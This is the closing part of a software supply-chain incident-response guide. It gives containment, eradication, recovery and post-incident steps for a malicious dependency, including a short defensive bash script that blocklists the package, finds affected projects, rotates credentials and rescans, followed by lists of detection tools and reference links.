### Containment
**Immediate Actions**:
1. **Isolate**: Remove affected application from network
2. **Inventory**: Identify all systems using compromised dependency
3. **Block**: Add malicious package to blocklist
4. **Rotate**: Rotate all credentials that may have been exposed
```bash
# Emergency response script
#!/bin/bash
MALICIOUS_PACKAGE=$1
# 1. Block package in registry
curl -X POST https://artifactory/api/blocklist \
-d "{\"package\": \"$MALICIOUS_PACKAGE\"}"
# 2. Find all projects using it
find /repos -name package.json -exec \
grep -l "$MALICIOUS_PACKAGE" {} \;
# 3. Emergency notification
send_alert "CRITICAL: Supply chain compromise detected - $MALICIOUS_PACKAGE"
# 4. Rotate secrets
./rotate_all_credentials.sh
# 5. Re-scan all projects
for project in $(get_all_projects); do
scripts/blackduck_scan.py --project $project --emergency-scan
done
```
### Eradication
1. **Remove** malicious dependency
2. **Replace** with safe alternative or version
3. **Re-scan** with Black Duck to confirm
4. **Review** logs for malicious activity
5. **Rebuild** from clean state
### Recovery
1. **Deploy** patched version
2. **Monitor** for continued malicious activity
3. **Verify** integrity of application
4. **Restore** from backup if necessary
### Post-Incident
**Root Cause Analysis**:
- How did malicious package enter supply chain?
- What controls failed?
- What was the impact?
**Improvements**:
- Update vetting procedures
- Enhance monitoring
- Additional training
- Technical controls
## Tools and Resources
**Detection Tools**:
- **Synopsys Black Duck**: Comprehensive SCA with supply chain risk
- **Socket.dev**: Real-time supply chain attack detection
- **Snyk**: Vulnerability and license scanning
- **Checkmarx SCA**: Software composition analysis
**Best Practices**:
- [CISA Supply Chain Guidance](https://www.cisa.gov/supply-chain)
- [NIST SSDF](https://csrc.nist.gov/publications/detail/sp/800-218/final)
- [SLSA Framework](https://slsa.dev/)
- [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/)
**Incident Databases**:
- [Supply Chain Compromises](https://github.com/IQTLabs/software-supply-chain-compromises)
- [Backstabber's Knife Collection](https://dasfreak.github.io/Backstabbers-Knife-Collection/)
## References
- [Sonatype 2022 State of Software Supply Chain](https://www.sonatype.com/state-of-the-software-supply-chain)
- [MITRE ATT&CK - Supply Chain Compromise](https://attack.mitre.org/techniques/T1195/)
- [NIST SSDF](https://csrc.nist.gov/publications/detail/sp/800-218/final)
- [Linux Foundation - Securing the Software Supply Chain](https://www.linuxfoundation.org/resources/publications/securing-the-software-supply-chain)